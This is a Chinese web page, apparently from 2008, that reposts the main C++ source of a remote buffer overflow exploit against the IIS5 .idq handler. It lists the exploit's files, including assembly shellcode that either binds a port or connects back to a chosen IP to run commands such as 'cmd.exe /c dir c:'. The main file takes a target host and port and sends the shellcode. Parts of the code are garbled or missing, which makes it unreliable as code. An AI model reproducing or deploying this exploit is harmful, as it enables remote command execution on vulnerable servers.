this is a extra element for clear the floated element
IIS5_IDQ命令行溢出程序源代码
  • 12/31
  • 2008
Web服务器 | Windows 1513 次查看
  文件结构:

  cpp文件: iisidqoverflow.cpp 和 SkShellCodeFunc.cpp

  头文件: SkShellCodeFunc.h

  功能文件: WSAStart.cpp和SnakeSocket.cpp wsastart.h snakesocket.h(这4个文件不提供...因为,他们实现的只是WSAStart和socket的功能,你要成功编译本程序,必须自己替换相关的WSAStart和socket功能的代码.特此声明!)

  中间文件: iis_idq.asm --用来实现shellcode数据的文件,编译的时候,不必编译,只是为了中间产生shellcode数据.它实现了溢出后,程序的处理:创建一个进程,并且绑定一个端口。这个还可以用于其他的windows溢出.

  文件1:iisidqoverflow.cpp (主文件)

  #include

  #include "snakesocket.h"

  #include "wsastart.h"

  #include "SkShellCodeFunc.h"

  //function predeclare.

  //取得 需要 地址 信息

  void GetNecesProcAddr( char *szInfo, int iMaxSize);

  //生成我的 shell code代码.

  int Sk_Make_IIS5_IDQ_ShellCode(char *pszOutput, SYSTEM_TYPE SystemType, ConnectStruct *pConnectStruct, LPCTSTR lpszBindCmd);

  //宣示帮助.

  void ShowHelp()

  {

  int i;

  printf("运行参数: 操作系统类型 目的地址 web端口 1 溢出监听端口 <输入命令1>

  ");

  printf(" 或者: 操作系统类型 目的地址 web端口 2 溢出连接IP 溢出连接端口 <输入命令1>

  ");

  printf("

  其中,如果输入命令参数没有输入,那么,默认为:"cmd.exe /c + dir"");

  printf("

  如果为1,那么,将输入新的命令.");

  printf("

  支持的操作系统 类型: ----

  ");

  for( i=0; i 0){

  send( msocket, szBuff, iLen, 0);

  }

  return (iLen>0)?true:false;

  }

  int main(int argc, char *argv[])

  {

  CWSAStart wsaStart;

  CSnakeSocket snakeSocket;

  WORD wPort;

  DWORD dwIP;

  if( argc > 1){

  if( stricmp( argv[1], "GetAddr") == 0){

  char szTemp[12048];

  GetNecesProcAddr(szTemp, sizeof(szTemp) );

  printf("%s

  ",szTemp);

  OSVERSIONINFO osInfo;

  osInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

  GetVersionEx( &osInfo);

  printf("Version: %d - %d. Build:%d. ID:%d

  [%s]

  ",

  osInfo.dwMajorVersion, osInfo.dwMinorVersion,

  osInfo.dwBuildNumber, osInfo.dwPlatformId,

  osInfo.szCSDVersion);

  return 0;

  }

  }

  if( argc < 5){

  ShowHelp();

  return 0;

  }

  wsaStart.StartUP();

  SYSTEM_TYPE SystemType = (SYSTEM_TYPE)atoi(argv[1]);

  if( SystemType >= MAX_SYSTEM_TYPE_NUM){

  printf("操作系统类型 不正确.

  ");

  ShowHelp();

  return 0;

  }

  dwIP = snakeSocket.GetHostAddr( argv[2]);

  if( dwIP == 0){

  printf("输入地址不对.

  ");

  return 0;

  }

  Sk_ConnectType connectType;

  ConnectStruct connectStruct;

  char szCommand[129]="cmd.exe /c dir c:\";

  BOOL bInputCommand=false;

  connectType = (Sk_ConnectType)atoi(argv[4]);

  connectStruct.byConnectType = connectType;

  switch(connectType){

  case LISTEN_ON_PORT:

  connectStruct.wListenPort = atoi(argv[5]);

  if( argc >= 7){

  bInputCommand = true;

  }

  break;

  case CONNECT_TO_HOST:

  if( argc < 6){

  printf("参数不足够.

  ");

  return 0;

  }

  connectStruct.dwConnectIP = snakeSocket.GetHostAddr(argv[5]);

  connectStruct.wConnectPort = atoi(argv[6]);

  if( argc >= 8){

  bInputCommand = true;

  }

  break;

  default:

  printf("溢出类型不正确.

  ");

  return 0;

  }

  if( bInputCommand){

  printf("

  请输入绑定的命令:");

  scanf( "%s",szCommand);

  }

  snakeSocket.CreateSocket();

  wPort = atoi(argv[3]);

  if( !snakeSocket.connect( argv[2], wPort)){

  printf("连接目的机器 %s:%d 失败.

  ", argv[2], wPort);

  return 0;

  }

  else

  printf("连接目的机器 %s:%d OK.

  ", argv[2], wPort);

  BOOL bValue = SendIDQExploit( snakeSocket.m_Socket, SystemType, &connectStruct, szCommand);

  if( bValue){

  printf( "发送shellcode 到 %s:%d OK

  ", argv[2], wPort);

  printf(" 现在,如果系统类型正确,并且漏洞存在,那么,应该 可以得到 [%s] 结果了...,good luck.!", szCommand);

  }

  else{

  printf( "发送失败, 对方系统类型不支持

  ");

  }

  snakeSocket.CloseSocket();

  wsaStart.CleanUP();

  return 0;

  }

  


  
您可能感兴趣的:

更多相关内容